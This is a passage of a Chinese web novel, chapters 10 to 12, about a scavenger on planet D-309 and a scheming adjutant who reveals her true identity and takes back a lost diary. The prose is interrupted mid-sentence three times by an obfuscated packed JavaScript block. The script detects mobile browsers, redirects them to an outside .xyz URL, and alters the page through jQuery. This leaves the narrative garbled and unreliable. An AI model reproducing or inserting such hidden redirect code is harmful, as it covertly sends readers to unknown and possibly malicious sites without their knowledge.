在为数不多的接触中,贺平淮发现张副官是一个极度严谨且自律的人,她所展现出来的这一面总是让人挑不出半点错处,进退有度,不争不抢,在贺平峥面前她是一名完美的副官,在士兵面前她是一名完美的指挥,在敌军面前她是一名恐怖的对手,可是在抛开副官一职后,没有人能够了解张寻蔚是一个怎样的人。 一个人真能彻底抹去自己的个性甘愿做一个完美的工具吗? 这简直细思极恐。 贺平淮以审视的目光打量着张寻蔚,至今无法理解贺平峥为何要选择这样的人做副官。 张寻蔚对贺平淮的心理活动自然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贺平淮闭上眼,长长吐出一口气,在最初的惊骇过去后,他终于平静下来,再次看向张副官,目光锋利如刃,冷声问:“所以,你现在是什么意思?” 张寻蔚微微一笑,宽慰道:“请您放心,我没有恶意。只不过您也知道,一切经由系统处理过的数据最终都会提交至贺少校手中,但这件事非同小可,如果您不希望贺少校知悉有关江应余小姐的情况,最好的选择就是将它从系统中抹去。” 沉默片刻后,贺平淮掀起眼帘,没有急着回答,而是反问道:“你为什么愿意帮我们?” 张寻蔚眉眼低垂,极轻地叹了一声,不见往日里自信又温和的模样,罕见地露出了怅惘之色:“因为我也是一个beta。” 她的声音中蕴含着无限的哀愁,仿佛将一生的苦难都融入了接下来的话语中: “我实在不愿看见像她这般顽强拼搏的beta还要去承受命运的打击,这就是我身为beta唯一的私心。” 贺平淮不为所动:“我无法信任你。” 正如她方才所言,这件事事关重大,交给谁来办他都不放心。 张寻蔚似乎早已料到这一结果,未见什么失落的神色,只是点头以示了解:“我明白,既然如此,您可以亲自去系统中删除相关记录,但唯有一件事我无法让步——” 她弯下腰,倾身向前,凑到贺平淮耳边,压低声音:“为避免事态扩大,请您允许我找出那件物品以作回收,这也是从江应余小姐的人身安全出发而作出的考量。您也知道,此事一旦让第三军团知晓,后果将会不堪设想。” 10. 第十章 原来是你 从修复舱里爬出来的时候,江应余整个人都是湿漉漉的,像一只从湖底爬起来的女鬼,为了确保修复液能最大限度与身体接触,原本臃肿的衣物都被褪去,只留一件单薄的里衣。此刻她趴在舱壁边沿,大脑仍未从方才的沉眠中清醒过来,懵懂看向恢复如初的右手,好奇地转动手腕,眼神呆滞。 直到张副官再次走进医务室时,她才将将回神。张副官将提前准备好的干净衣物交给她,嘱咐她早点换上避免着凉。 江应余闻言打了个哈欠,有些提不起精神,懒懒朝手中的衣物瞥去一眼,是她一辈子都买不起的高档服装,无论是用料还是裁剪都属上乘。 “谢谢。”她客气地道谢,刚睡醒的脸却有些冷淡,“但我之前的衣服都去哪儿了?” 张副官显然没想到她会有此一问,顿了一下才回答:“已经替你收整好了,需要我把它们拿过来吗?” 江应余点头,将衣物还给她:“麻烦你了。” 等张副官离开又返回时,江应余已经离开修复舱,坐在制式办公桌前,托腮看着自己的体检报告。然而,即使将整份报告一字不落地看完,她也没能找到精神力波动幅度那一栏。 虽然绝大多数人的精神力波动幅度都不会出现任何异常,但作为必要的一项检查,不应该会张副官被漏掉。 “有什么问题吗?”张副官贴心地将衣服叠得整整齐齐,扫了眼江应余正在看的体检报告。 江应余皱眉问道:“为什么这份体检报告里没有关于精神力波动幅度的数据?” 张副官露出恰到好处的惊讶神色,凑近过来仔细检查了一遍,发现的确漏掉了这一项。 “真是抱歉,是我的疏忽,或许是因为系统后台出现了bug,才会导致没有在第一时间加载出来,请让我重新打印一份。” 江应余却拦住了她,眉头并未松开,似乎在思索什么:“……算了,不必了。” 考虑到她在昨晚喝下了金苹果,精神力的波动很可能不会在这么短的时间内恢复到正常水平,与其冒险再打印一份横生枝节,倒不如就此作罢,让谁也不知道这个结果。 好在张副官并不执着于此事,甚至主动安慰她:“如果你是在担心精神力出现异常的话,倒是可以完全放下心来,你的各项数据都很正常,没有任何精神力过载的预兆,所以你的精神力波动幅度绝对也会是正常的。” 江应余捕捉到了一个从未听过的词语:“精神力过载?这是什么意思?” “简单来说,”张副官解释道,“当一个人的精神力超出身体所能承受的范围就是精神力过载,它会给□□带来巨大的负荷,甚至是疼痛,其症状多种多样,包括但不限于耳鸣、头痛等等。” 江应余目光一闪,若有所思:“原来是这样……” 看来她之前所产生的耳鸣症状不见得都是金苹果的副作用带来的,还有可能是精神力过载导致的。 如果下次使用时减少金苹果的用量,或许既能避免精神力过载,也能减少副作用的程度。 贺平淮敲门的时候,江应余已经换回了属于拾荒者的那身衣物与装备,在修复舱里睡了几个小时让她此刻精神焕发,多得是使不完的牛劲。 是张副官替贺平淮开的门,他的面色并不好看,没有搭理张副官的问候,大步朝江应余的方向走来。 “怎么了?”江应余疑惑。 贺平淮先是警惕地看了张副官一眼,然后紧紧握住江应余的双肩,眼里带有几分惊慌失措:“她没有问你一些奇怪的问题吧?” 江应余不适地挣开他的手,拧起眉:“你在说什么啊,我与张副官根本没说上几句话。” 江应余的反应看上去没有半点异常,贺平淮不由得暗自松了口气,后退几步拉开距离:“抱歉,是我冲动了。” 而站在一旁观看这一幕的张副官突然出声打断了两人的交流:“小少爷,关于您之前提出的希望舰队能推迟原定返航时间的申请——” 她面上依旧笑得温和,语气却不容置疑:“很遗憾,为了最大程度上维护舰队的利益与您的人身安全,我必须予以驳回,请您见谅。” 贺平淮的脸色显而易见地沉了下去。 “不过,”张副官话锋一转,“考虑到您或许需要与新结识的朋友做个告别,舰队将会为您留出充裕的时间,直到明早才会启程返航,还请您珍惜停留在D-309星的最后一晚。” 说完这话,张副官不再多留,歉然离去。 * 今夜十分平静,虽然D-309星不分昼夜。 第一军团的舰队来接贺平淮回家的事所有拾荒者都已经知晓,江应余也没有在那艘战舰上逗留太久,在张副官离开后便迅速赶回了营地。之前与贺平淮合作捡拾的满满一车废弃金属在士兵们的帮助下运了回去,急需江应余将它们分类处理,以便第三军团的士兵进行检查。 正巧她在修复舱内睡了一觉后精神饱满,毫无困意,身上的黏腻感夜一扫而空,只觉清爽舒适——没有哪一刻比现在更适合工作了。 期间偶遇了在防空洞内四处巡视的首领彭姨,因为那位仍旧下落不明的闯入者,她每天都会巡视好几个来回,幸好昨日江应余提前从储物室取回了试管与日记本,才没让金苹果的存在暴露出来,为以防万一,她甚至耐下性子以蹩脚的针脚功夫将金苹果缝在大衣内侧,将日记本揣进破洞的口袋里随身携带。 在昨日的不欢而散后,江应余没想到能这么快与彭姨遇上,虽说这是迟早的事,却难免有几分尴尬,一时不知该说些什么。 而彭姨比她镇定许多,见她打定主意不愿随着贺平淮一行人离开,便也不再多劝。 态度也跟着柔和了不少,虽然依旧习惯性地板着脸:“我知道你是个勤快的好孩子,但今天发生了这么多事,还是早点去休息吧。” 其实若是认真计较起来,彭姨还挺喜欢江应余的倔强性子,兴许是见过太多向现实低头的beta,偶尔能遇上一个固执倔强的年轻人实在令她眼前一亮。 况且未来的事谁能说得准,万一江应余真的做到了其他beta都没能做到的事呢? 目送着彭姨远去的背影,江应余忍不住叹了口气,她并没有因为彭姨的话而感到轻松或是释然,心里依旧沉甸甸的。 虽然从未动摇过,但实际上她并不能保证这个选择一定是正确的。 她只是选择了她所能看见的最有希望的那个未来。 想到这里,江应余不禁将手探进大衣内侧,隔着一层布料紧紧贴 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好奇地将手伸了进去,此时她还没意识到有什么不对劲,直到——所有的表情在一瞬间凝固。 * 江应余一夜未眠。 她花了一晚上的时间将防空洞里里外外每个角落都检查了一遍,但都一无所获。 诚然,她对于日记本的保护措施远远不及金苹果,毕竟一个除了知识一无所有的beta揣着本日记并不是件多么奇怪的事。更何况,比起金苹果的价值,一本破旧的日记根本不值得任何人觊觎。 可事情就是这么发生了。 ——她捡来的日记本丢了。 江应余试图安慰过自己,那本日记里头虽然记载了不少有关金苹果的细节,但如果没有货真价实的金苹果作为佐证,它完全会被视为一个年幼beta的天真幻想。 而且她今日并没有与第三军团的士兵进行接触,至少不会出现最糟糕的情况——日记本被第三军团的人发现。除了在接受修复舱的治疗时脱下过这身大衣,其他时候她根本没有—— 等等! 江应余猛然起立,枯坐许久使得她眼前一黑,整个人都晃了一下。 待视线恢复如常后,她立马冲出防空洞,马不停蹄朝航空母舰的方向狂奔而去。 在穿过防空洞的隧道时不期然撞上了一个人,江应余顾不上与她纠缠,说了声对不起便打算继续往前跑。 那人倒也没拦她,只是饶有兴趣地注视着江应余,声音不大不小刚好能让她听见:“请问,你是在找我吗?” 江应余的脚步随之一顿,一股凉意从脚底直窜上头顶。她僵硬地转过身,难以置信地看向那个人。 她仍旧穿着那身单薄的黑色军服,腰间别着一把□□,头上的高顶军帽被雪色染白,应是踱步而来。 张副官露出了她最擅长的笑容,目光温柔又亲切,极尽慷慨地给出最后一道提示: “虽然他们都习惯以职位称呼我,但我还是挺喜欢这个名字的。自我介绍一下,我叫张寻蔚。” 在听见这个名字的那一刹,江应余脸上血色尽褪,尽管没有任何切实的依据,但她的直觉已经给了她答案—— 张寻蔚,魏循章。 11. 第十一章 多么相似的两个名字,只要将前后颠倒,就会发现它们的发音简直一模一样。 简单得仿佛是魏循章刻意留下的破绽。 而现在,她就这样直截了当地将破绽点了出来,轻描淡写的口吻好似根本不觉得这个名字能给江应余带来多大的震撼。 “我知道你有很多话想问,不过,我并不打算回答你的任何问题。”魏循章脸上的微笑渐渐淡去,取而代之的是她最真实的表情,不加掩饰般展露在江应余眼前。 她的目光冷淡而自信,嘴角噙着一分若有似无的讥笑,信步走至江应余跟前,语气漫不经心犹如调笑: “我来这里只是好心提醒一下你,虽然时间快来不及了,但是——” “赶紧逃吧,江应余。” “用尽全力,逃得越远越好。” 她仍然在笑,让人分不清这究竟是另类的警示还是恶劣的玩笑。 江应余的脑子太乱了,根本无从辨别她话语中的真假,甚至连她的目的都搞不明白。魏循章的每一步都踩在她未曾设想过的点上,令她完全理不清思绪。 她下意识想要抓住魏循章的手腕,这一举动其实是出于一种被人愚弄的愤怒,一种想要找回主动权的本能。江应余实在不喜欢这种被人玩弄于股掌之间的感觉。 可是江应余的手才刚伸出去一瞬,就被魏循章眼疾手快地打开了,速度快得根本看不清她的动作,眼中闪过一瞬的厌恶,仿佛江应余是什么烦人的苍蝇一样。 不过魏循章毕竟是掩饰情绪的高手,那抹微不可查的厌恶转眼便已消失不见,唯有眼神愈发冷淡。 “我的耐心有限,剩下的烂摊子,你自己看着办吧。” 扔下这句话,魏循章不再多看江应余一眼,只留给她一个冷漠的背影。 “等等!”江应余上前一步,惊怒之下不禁喊出了她的名字,“魏循章!” 然而她的身影没有片刻迟疑,江应余只能眼睁睁地看着她走入风雪中,渐渐远去。 * 在即将登上战舰的时候,魏循章的脚步突然顿住,她缓缓转过身,单薄的身影在无尽寒风中显得有几分萧瑟。 她眺望着远处没有边际的雪原,面容变得晦暗不明,似要将每一处单调的景色刻入脑海里。可在这片灰蒙阴翳的苍穹下,再也没有过去张灯结彩人声鼎沸的景象,只余满目空茫。 何其破败荒凉。 魏循章闭了闭眼,再次睁开时,眼中没有丝毫怅惘,只有一如既往的冷静与漠然。 她深知,这里不是她的故乡。 这里是D-309星,而不是她的万里寒。 所以,她永远不会怀念这里。 * 回到战舰后,魏循章先绕步去了趟餐厅,告诉炊事兵今天午饭不想吃什么。她平时并不挑食,但自从来到D-309星,她就吃不下曾在万里寒吃过的所有食物。或许,这也算是一种睹物思乡吧。 在餐厅里遇见贺平淮让她有点意外,她本以为这位高傲的小少爷不会选择在这种人多的地方用餐。 但当她注意到小少爷透过舷窗一动不动地望着某个方向时,疑惑在瞬间便得到了解答。 这间餐厅的舷窗刚巧能看见江应余所在的防空洞方向。 身为完美的副官当然需要对上司弟弟表示关心,即便只是流于表面,但魏循章还是上前几步,微笑着说:“您似乎在犹豫是否要向江应余小姐告别,可母舰很快就要启航了,若是错过这次机会,或许会留下一生的遗憾。” 见到来人是魏循章,贺平淮本有些不快,却在听完她的话后苦恼地垂下了脑袋,仿佛遇上了什么难题。 两侧的手反复握紧又松开,片刻后终于发出一声叹息,作出了决定: “还是算了,反正……她也不想见我。” “哦?”魏循章故作疑惑,假装不经意般地提了一句,“哪怕是永别也没关系吗?” 贺平淮一愣,反应过来她在说什么后倏地站起来,椅子向后翻倒发出很大声响,引得餐厅内其他士兵纷纷看过来。 “你这是什么意思?”他死死瞪着魏循章,气势骇人,仿佛下一秒就要扑上来与她决斗。 魏循章并没有被他吓住,面露歉意,向他解释道:“抱歉,是我表达有误。” 她弯下腰先将椅子扶起来,然后继续说: “我并没有恶意,您也很清楚不是吗?离开D-309星后您与江应余小姐很难再有相见的机会了。” 见贺平淮依旧是一副怒不可遏的样子,魏循章贴心地补充道:“若还是不相信我的话,不妨亲自去防空洞看看她是否还安然无恙,现在出发的话时间还来得及。” 说完,她便顶着贺平淮杀人般的目光施施然离开了。 魏循章回到房间的第一件事是洗手,尤其是重点清洗与江应余接触过的部位。 即便隔着一层手套,挥开江应余时从手背上传来的触感仍然让她感到不适。自从万里寒发生爆炸事故以后,魏循章便产生了严重的洁癖,如无必要,她会避免与所有人的肢体接触。然而,随着年龄的增长,她的洁癖也演变得愈发严重,很多时候只是皮肤暴露在空气中,都令她感到无比的恶心。 而这种症状在她来到D-309星后表现得比以往更为明显。 魏循章的手背被搓得通红,但她仍觉得不够。 之前出现这种情况的时候,她会选择褪去全身衣物,用自己研发的消毒舱进行一次全身消毒。 她当然知道频繁的消毒对身体并无益处,可挥之不去的恶心感只会让她彻夜难眠。 这次也是一样。就在魏循章放弃通过寻常的清洁手段缓解不适的时候,她从洗手间走出来,正准备启动消毒舱,却不经意瞥见了放在办公桌上的日记本。 有那么一瞬间,她感到自己的心脏仿佛被羽毛般柔软的东西挠了一下。 在取回日记本后,魏循章并没有第一时间将它翻开,反倒像是生出了一种类似于近乡情怯的情感,让她有些退缩,甚至是抗拒。 可是,翻开看一下也不会怎么样,不是吗? 她听见了从内心传出的声音:我是万里寒最聪明的小神童,是深受大家喜爱的小天才,不论我变成了什么样子,妈妈也一定会以我为豪的。 似是被这声音蛊惑,魏循章控制不住自己的脚步,一点一点向日记本靠近,将它捧在手里,坐在桌前,珍而重之地翻开了第一页。 青涩稚气的字迹映入眼帘,回忆也随之从脑海深处被唤醒。魏循章一时忘了有关洁癖的事,连日记本外壳上的灰尘都顾不上拂去,聚精会神地阅读着纸页上的一字一句。 原本因为洁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453334|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 癖而紧皱的眉头渐渐放松下来,还会时不时发出一声轻笑。 “原来我小时候这么喜欢向妈妈撒娇吗?”魏循章津津有味地翻看着,脸上的笑容不再是精致到完美的伪装,而是一种久违的真情流露,一种发自内心的喜悦,却也夹杂着更沉重的悲伤。 如果不是找回了这本日记,她几乎快要忘记自己曾经也只是个因为妈妈的一声夸奖而喜出望外的小孩。 小时候的她起初写日记没什么耐心,通常间隔十天半个月才会写一次,往往只写下短短几行字就会潦草结束,大部分内容都在诉说一些幼稚的烦恼与心事,譬如妈妈忘了答应自己的事、季临又和自己吵架了这次自己绝不会主动道歉、谢辜年真的好讨厌又来找自己的麻烦等等之类的小得不能再小的琐事。 现在回看这些往事,在觉得有趣的同时,魏循章也不太能理解自己小时候竟然这么小心眼。那时候由于妈妈总是夸她聪明又可爱,她便一直觉得自己是个无所不能的完美小孩。 如今看来,其实她也没有想象中那么完美,更没有那般无所不能。她甚至永远失去了自己的母亲。 日记中愉快的回忆很快就到头了,纸张上的字迹停留在爆炸事故发生的前一天,魏循章的手迟迟没有翻开下一页。 后面发生的事全都历历在目,在无尽的噩梦中反复出现,腐臭与饥饿如同甩不掉的小虫密密麻麻地啃食着她的理智。 在那段希望渺茫的日子里,除了等待,她什么都做不了。 她不再是什么人见人爱的天才,更不是能解救所有人的救世主,她只是一个废物,一个拖油瓶。 如果不是季临,她根本不可能在那样的地狱里活下去。 那是她最反感也最不愿想起来的回忆。 魏循章极度厌恶地跳过了后面所有的内容,直接翻至最后一页。 不出意外地看见了自己曾经天真的展望—— ‘由beta驾驶机甲、由beta组成军队的展望不再是个遥不可及的设想。’ ‘在alpha的强权之下,总有beta会萌生出驾驶机甲的渴望。’ ‘毕竟,不是所有的beta都甘愿当一辈子的机甲维修师。’ 她拿起笔,拔出笔帽,本想直接将这几行字涂黑,却在笔尖即将触碰到纸面时突然顿住,想法在瞬息间发生了改变。 咬着笔杆思索片刻后,魏循章再次提笔,在日记本中写下有别于曾经的、遒劲又不失优美的字迹。 它本该是属于谢辜年的纯真愿景,现在却被魏循章扭曲成了恶毒的诅咒—— ‘愿一切喧嚣终将戛然而止,归于宁静。’ 若要问什么才是终极的宁静,在某些人看来,或许是安眠,又或许是死亡。 但在魏循章眼里,它象征着毁灭。 魏循章合上日记本,将它收入抽屉中锁好。做完这一切,她像只猫一般卧在床榻上缩成一团。 眼中的情绪已经消失殆尽,唯有刻骨的冷漠停驻于此。 曾有一场突如其来的噩梦夺走了她的家园,她的全部,甚至是她应有的人生。 她不介意取而代之成为一场新的噩梦,终有一日,她会让所有人感到彷徨与恐惧。 她会将她承受过的所有痛苦全都还给这个世界。 谁都别想逃出她的囚笼。 12. 第十二章 惟愿来日我们终将重逢 就在魏循章即将陷入梦乡的时候,一阵规律重复的电话提示音从智网终端中传来,驱走了魏循章好不容易酝酿出来的睡意。 她慢悠悠打了个哈欠,不情不愿地伸出手接通来电。这款私人专用的智网终端经由她亲手设计打造,根本没有连入大数据智网系统,能通过它联系上她的人只有一个。 算算时间,的确也到了她们定期联络的时候了。 通讯连通后,另一头的人率先开口,语气是一如既往的平静:“如果我没记错的话,现在你应该已经回到了万……咳,D-309星了。” 魏循章揉了揉惺忪的眼,勉强恢复了些清明,闻言也只懒懒应了一声,显得有些敷衍。 那人似是早已习惯了她这副态度,继续往下说:“从首都星出发本不该这么晚才到,所以你果然还是碰上了什么意外吧,魏循章?” 季临很少这样连名带姓地叫魏循章的名字,如果她这样叫了,那一定是自己又惹她不高兴了。 “一点小意外,早就解决了。”魏循章在床上翻了个身,想赶紧结束这个话题。 季临却没这么容易被蒙混过去:“别以为我远在联邦就不清楚内情,第一军团的军舰被无主之地杀手归零袭击的事在昨天就登上了头条。” 魏循章心虚地不吭声了。 而季临并不打算这么快就放过她,继续数落着:“新闻上说这一战打得极其激烈,损失也极其惨重,一颗小行星直接在炮火下化为了黑洞,要不是那颗行星根本不适宜人类居住,单凭你滥杀无辜这一条就很难再——。” 魏循章连忙捂着耳朵打断她:“好啦好啦,我知道啦!我心里有数,目前发生的一切仍在计划之中,求你别操这个心了。” 似乎是这番明显的拒绝态度终于起了效,季临的声音停了下来。 再开口时,还有几分委屈:“……我早就劝过你,近来无主之地动荡不断,为了你的安全着想,我们完全可以选择推迟计划,等到局势安定下来再去绑架贺平淮。” 经过方才这么一闹腾,魏循章人也清醒了不少,敏锐地捕捉到季临话中的漏洞,立马反驳:“绑架他的人可不是我,我怎么会坏到这种程度?” 饶是与魏循章一同长大的季临也不得不为她的无赖所折服,默了片刻,才再继续说:“那可真是太巧了,你前不久刚提到想回万……咳,D-309星把日记取回来,紧接着上司的弟弟就被绑架了,更凑巧的是,他逃出来时乘坐的那艘救生艇的燃油竟然只能供他开到D-309星附近,而你的上司为了维系家族门楣便理所当然地派遣最得力的下属来搜寻自己的亲弟弟,这样一来,身为副官的你不仅可以拿回自己的日记本,还能精准地找到贺平淮的下落完成任务,简直是一举两得。” “唯一出乎你预料的是,那个本该因为没有防毒面具而死在万……咳,D-309星的贺平淮竟然活了下来,真是太可惜了。” 魏循章重重点头,深以为然:“他可真是命大。” 不过,区区一个贺平淮还远不足以对她的计划造成什么影响,虽然结果有些偏离原定的设想,但短时间内她不会对他再下手了。 比起一个alpha小少爷,值得她操心的事实在太多太多,就比如—— 或许是被日记中的内容勾起了对往事的怀念,魏循章罕见地提起了一个名字: “说起来,谢辜年是不是还在新世界陪莫鸿秋做她的春秋大梦?” 通讯另一头的季临不禁愣住了。 谢辜年,季临,魏循章三人,都是在万里寒长大也有幸在那场浩劫中存活下来的孩子。 谢辜年是她们当中年纪最小,也最心高气傲的那个。她与同样心高气傲且目中无人的魏循章简直八字不合,两人一言不合就会吵起来,谁都劝不住。 在帝国将万里寒更名为D-309星的两年后,凑巧让魏循章碰上了濒死的谢辜年,季临本以为魏循章会冷血地见死不救,也以为谢辜年宁死都不愿向魏循章求助。 然而事情的发展远远超出了她的预料。 魏循章不仅主动出手挽救了谢辜年的性命,而谢辜年醒来后的第一件事竟然是恳求魏循章去救她的朋友。那是季临第一次看见谢辜年舍弃自己全部的骄傲与自尊,泣不成声地跪在地上祈求着,嘴里重复着同一个名字。她对魏循章说,只要你愿意救救她,不论开出什么样的条件,我都会满足你。 但魏循章毫不留情地拒绝了她,留下一句:“我救你是因为你我同为万里寒遗民,至于这个叶归宁的死活,跟我又有什么关系?” 自此以后,两人彻底分道扬镳,老死不相往来。 故而时隔多年再次听魏循章提起这个名字,季临难免有些诧异,愣了半晌才回答道:“没错,她似乎交到了……新的朋友。” 魏循章脸上浮现一抹冷笑:“与她一样天真愚蠢的莫鸿秋吗?真是好笑。” 新世界的新任领袖莫鸿秋妄想成为下一个如帝国三殿下一般的人物,但她既无天时地利更无人和,如今的新世界就像一块肥肉,联邦哪个家族不想啃上一口,魏循章实在想不明白此人到底是哪来的自信敢在这种时候接过三殿下的烂摊子。 “算了,不提这些。”魏循章也不知道自己为什么一提起谢辜年就能憋一肚子的气,“你还记得她以前提到的叶归宁吗?” 季临对这个名字的印象实在太过深刻,怎么可能忘记:“当然。” 魏循章犹豫了几秒,然后说:“这个人还活着。”她甚至亲眼见到了她。 * 魏循章离开后,江应余花了很长时间才从惊愕中回过神来。 她实在想不明白魏循章这一连串行为的背后究竟有什么意图,仿佛缺失了某个关键信息,让她看不清事件的全貌。 有太多的疑问堆积在一起:为什么魏循章只拿走了日记本,却把金苹果留了下来?为什么她选择向自己暴露身份?又是为什么语焉不详地劝自己“快逃”? 江应余懵懵懂懂地回到帐篷里躺下,表情仍有几分呆愣。 虽然心中已有不好的预感,但她不会选择逃跑。倒不是因为她舍不得D-309星,而是就算她想离开这里也没有办法。一无交通工具,二无生活物资,三无武器防身,她能逃到哪里去? 更何况,拾荒队里的人该怎么办?她该如何向他们解释并劝他们一起逃跑? 正在她苦恼的时候,帐篷外传来了莉莉可的声音,似乎是因为她没有像往常一样早起,莉莉可不免有些担心: “江应余姐姐,你醒了吗?你……还好吗?” 听出了莉莉可声音里的小心翼翼,江应余连忙坐起身,拉开帐篷探出脑袋,挤出笑容,故作无事道:“我没事,今天只是想休息一下。” 莉莉可凑近了些许,关切地问:“果然还是生病了吗?需不需要我帮你做份早餐?” 江应余怎么好意思麻烦她,摆了摆手:“不用了不用了,我已经喝过营养液了,现在一点都不饿。” 莉莉可歪了歪脑袋,眼睛上下打量着江应余的表情,又说:“可是你看上去心情不是很好,让我多陪陪你吧,正好你上次教我的那些字我还认不全,你再多教我几遍吧。” 被这样一双碧绿的眸子注视着,江应余实在说不出拒绝的话。犹豫片刻后,她终是选择妥协,朝帐篷里面挪了挪,让出位置:“那好吧。” 莉莉可高兴地钻进来,新奇地四处观察着。一旁的江应余见她的头发仍是乱糟糟的,伸手试图帮她理顺,结果发现有许多处都缠作死结,根本分不开。 “改天让我来帮你洗头吧,顺便帮你剪一个合适的发型。”江应余思索一阵,问道:“你觉得短发怎么样?我记得首都星的beta们还挺流行剪短发的。” 莉莉可毫不犹豫地点头,眼里仿佛有星星在闪烁:“好哇,我也想和大城市的beta留一样的头发。” “那就这么说定了。”江应余对自己的水平很有自信:“小时候我给妹妹也剪过头发,剪得可好了,她喜欢得不得了。” 不过那已经是很多年前的事了,小时候的江新越很喜欢黏着江应余,对江应余十分崇拜,可惜两人长大后却渐行渐远,很少联系了。 莉莉可没有察觉江应余眼中一闪而过的低落,下意识以为江应余与妹妹的关系不错:“那她现在一定很想念你吧。” 亲近的姐姐离开家乡来到D-309星这种偏远之地当拾荒者,换作是任何人都会心急如焚。 江应余勉强笑了一下,一时不知该作何种反应。她与江新越的事并不适合向旁人诉说,她们的问题只有她们自己清楚,也只有她们自己才能解决。 就在江应余打算转移话题,检查莉莉可最近学习成果的时候,营地外面突然变得嘈杂起来,先是听见不少人的咒骂声与慌乱的脚步声,紧接着便是几声枪响。 江应余与莉莉可都僵住了,在帐篷里面面相觑,她们都不知道外面发生了什么,也都不敢出去。 “江应余姐姐……”莉莉可害怕地拉住了江应余的衣袖,眼中满是惊惶,声音发颤:“是不是、第三军团的人开的枪?” 她听见有人在骂第三军团的人是骗子,用词极其粗俗,像江应余这种来自首都星的城里人根本听不懂那些话。 江应余回握住莉莉可的手,定了定神,努力平复着胸腔中砰砰作响的心跳,用最镇定地口吻对她说:“你待在这里不要动,我出去看看情况。” 末了,江应余想起了魏循章突然现身留下的那句告诫,不详的预感愈发浓烈。 她熄灭灯火,在临走时强调道:“不论听见什么都不要出来。”因为江应余的帐篷位置比较偏僻,也不太引人注意,只要保持安静在短时间内不会有什么问题。 听见莉莉可微弱的应答声,江应余才放心离开。 她快步朝声源处奔去,同时没忘将缝在衣服上的金苹果拆下来攥在手里。这是她目前唯一的自保手段。 走出扎营的房间穿过一条狭窄的隧道,江应余就被四处乱窜的人群撞了一个趔趄,一般而言清晨正是大家劳作的时候,防空洞里本不该出现这么多的人,他们此时正一窝蜂地朝相反的方向跑去,她想要随便抓住其中一个过来问问情况,不料被那人立马甩开,甚至还被骂了个听不懂的词。 虽然不能理解它背后的含义,但结合他的口吻与神态不难猜出这一定是句脏话。 看来眼下她没办法从旁人口中得到什么有用的信息了,只有继续向前走才能知道到底发生了什么。 江应余再次迈开步子,紧紧贴着隧道一侧,在狂奔的人群中向出口方向逆行。她隐隐在空气中闻到了一股血腥味,不由得拧紧了眉,心底的不安被无限放大。 而一只手从旁边突兀地伸出来,拽住了神经紧绷的江应余,动作粗暴得令她错以为自己是被哪个士兵给逮住了。 没想到抬头看见的人竟然会是彭姨。 彭姨看上去并不乐观,脸色苍白,嘴角残留一抹血痕,但表面上没什么明显的伤口,这让江应余略微松了口气。彭姨一只手紧紧扯住江应余的衣领,而另一只手提着一把老式步枪。 江应余认得这把枪,在她加入拾荒队之前就被彭毅带在身边了,据说因为型号太古老,加上缺乏保养,随时都会有炸膛的风险,实在卖不出去,于是彭姨只好将它留了下来,偶尔还能拿出来唬唬人。 “彭姨,到底发生什么事了?”江应余的声音干涩,其实这个问题的答案已经没那么重要了。 她一路上所看见的一切已经足以让她猜到点什么。 而彭姨也没有回答她的问题,更没有松开她的衣领,两眼猩红布满血丝,直直地看着江应余,急忙问道:“你怎么会在这里?莉莉可呢?” 江应余只好回答:“莉莉可还在帐篷里——” 话没说完便被打断,彭姨彻底失去了镇定,近乎怒吼般地冲她说:“那就带着她赶紧跑!还留在这里做什么,等死吗!” 说完,彭姨便扯着江应余往回走,步子迈得又快又急,江应余有好几次险些被绊倒。直到回到她的帐篷前,彭姨才终于停下来。 她松开了江应余的衣领,捂着胸口咳了几声,然后迅速拉开帐篷,以同样粗暴的方式将莉莉可扯了出来。 江应余看见莉莉可原本惊恐的脸色在看见彭姨后顿时消散,但还没等她开口说些什么,彭姨便附在她耳边迅速交代了几句话。 江应余站在几步开外,听不见彭姨具体说了什么内容,只看见莉莉可的脸色瞬间白了下来,以及彭姨塞给她的一把匕首。 做完这一切后,彭姨无声地回过头看了江应余一眼,动了动唇,等了半晌却连一句话也没说出口,就这么沉默地离开了。 莉莉可走近几步,红了眼眶,将彭姨给她的匕首紧紧握在手里:“江应余姐姐,我们得赶紧离开了。彭姨说在这后面还有一个出口,趁士兵们还没发现那里,说不定能逃出去。” 江应余正失神地望着彭姨的背影,没听见莉莉可说的话,看着彭姨逐渐消失在视野尽头,江应余竟突然有种预感,这或许就是她与彭姨的最后一次见面。 “江应余姐姐?”莉莉可没等到回应,焦急地握住了她的手。 “抱歉。”江应余收回视线,语气变得有些沉重:“我们走吧。” 幸运的是,逃亡的一路上没有遇到太多阻碍,她们很顺利地抵达了另一出口,有不少人在她们之前就逃了出去,阶梯尽头的门还没被锁上,仿佛只要打开它就能获得自由。 江应余却一直皱着眉,总觉得事情没这么简单。先不说门后会不会有士兵埋伏,即使她们安全离开了防空洞,又该怎么逃出D-309星?如果无法成功逃离这颗星球,不论躲到哪里迟早也会被第三军团的人发现,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453335|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至很可能会因为缺乏食物而饿死。 彭姨不可能没意识到这一点,但她依然坚持让自己带着莉莉可离开,说不定有什么其他的计划。 